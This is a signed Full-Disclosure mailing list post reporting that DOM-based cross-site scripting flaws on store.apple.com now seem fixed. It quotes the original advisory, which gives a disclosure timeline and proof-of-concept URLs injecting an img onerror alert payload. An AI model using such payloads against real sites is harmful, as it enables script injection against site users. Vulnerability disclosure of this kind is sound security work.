-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Seems to be fixed now ;-) Here is a link about the XSS (and a test with DOMinator) on youtube: http://youtu.be/qlTZD3ri_wU Kind regards, sschurtz Am 09.06.2013 00:11, schrieb Stefan Schurtz: > > After four weeks the following xss are still not fixed: > > Tested with IE8 / IE 10 & Google Chrome 27.0 > > http://store.apple.com/us/browse/home/shop_ipad#"/> <img src='aaa' > onerror=alert(document.domain)> > http://store.apple.com/us/browse/home/shop_iphone#"/> <img src='aaa' > onerror=alert(document.domain)> > > https://secure2.store.apple.com/us/sign_in?c=aHR0cDovL3N0b3JlLmFwcGxlLmNvbS91c3wxYW9zZmU4OGZjNWIyNThhYWVhOTM5MzVjZjI2NTk1OGE3MWUwY2Y0MmI2OA&r=SDHCD9JUYKX777H9KT9JT7JJTAPAXHFKH&s=aHR0cHM6Ly9zZWN1cmUyLnN0b3JlLmFwcGxlLmNvbS91cy9hY2NvdW50L3NldHVwL3N0YXJ0P3BsdG49NjdDOTM5QUN8MWFvczYwZTU0ZmU1Y2E0Mjc1OTg4NzFiMTdjYzE5YjA1NjYxZTVkNDE4YzI&up=t#"/> > <img src='aaa' onerror=alert(document.domain)> > > Here is the advisory: > > Advisory: store.apple.com - DOM based Cross-site Scripting vulnerability > Advisory ID: SSCHADV2013-009 > Author: Stefan Schurtz > Affected Software: Successfully tested on store.apple.com > Vendor URL: http://www.apple.com > Vendor Status: informed > > ========================== > Vulnerability Description > ========================== > > The website 'store.apple.com' is prone to a DOM based XSS vulnerability. > > ========================== > PoC-Exploit > ========================== > > // IE8 & IE 10 & Google Chrome 27.0 > > http://store.apple.com/us/browse/home/shop_ipad#"/> <img src='aaa' > onerror=alert(document.domain)> > http://store.apple.com/us/browse/home/shop_iphone#"/> <img src='aaa' > onerror=alert(document.domain)> > > https://secure2.store.apple.com/us/sign_in?c=aHR0cDovL3N0b3JlLmFwcGxlLmNvbS91c3wxYW9zZmU4OGZjNWIyNThhYWVhOTM5MzVjZjI2NTk1OGE3MWUwY2Y0MmI2OA&r=SDHCD9JUYKX777H9KT9JT7JJTAPAXHFKH&s=aHR0cHM6Ly9zZWN1cmUyLnN0b3JlLmFwcGxlLmNvbS91cy9hY2NvdW50L3NldHVwL3N0YXJ0P3BsdG49NjdDOTM5QUN8MWFvczYwZTU0ZmU1Y2E0Mjc1OTg4NzFiMTdjYzE5YjA1NjYxZTVkNDE4YzI&up=t#"/> > <img src='aaa' onerror=alert(document.domain)> > > ========================== > Disclosure Timeline > ========================== > > 12-May-2013 - vendor informed by email > 13-May-2013 - feedback from vendor > 29-May-2013 - question about status > 29-May-2013 - feedback from vendor > 07-Jun-2013 - release date of this security advisory > > ========================== > Credits > ========================== > > Vulnerability found and advisory written by Stefan Schurtz. > > ========================== > References > ========================== > > http://www.apple.com > http://www.darksecurity.de/advisories/2013/SSCHADV2013-009.txt _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.12 (MingW32) Comment: Thunderbird-Portable 3.1.20 by GnuPT - Gnu Privacy Tools Comment: Download at: http://thunderbird.gnupt.de iEYEARECAAYFAlG3X/gACgkQg3svV2LcbMDhOACeKj/NbztQB3enK6ayK+h8lDb6 Ie0AniXSe67L7yQcPLA2UCkv5H0HNbgi =UO7M -----END PGP SIGNATURE-----
Attachment:
0x62DC6CC0.asc
Description: application/pgp-keys
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/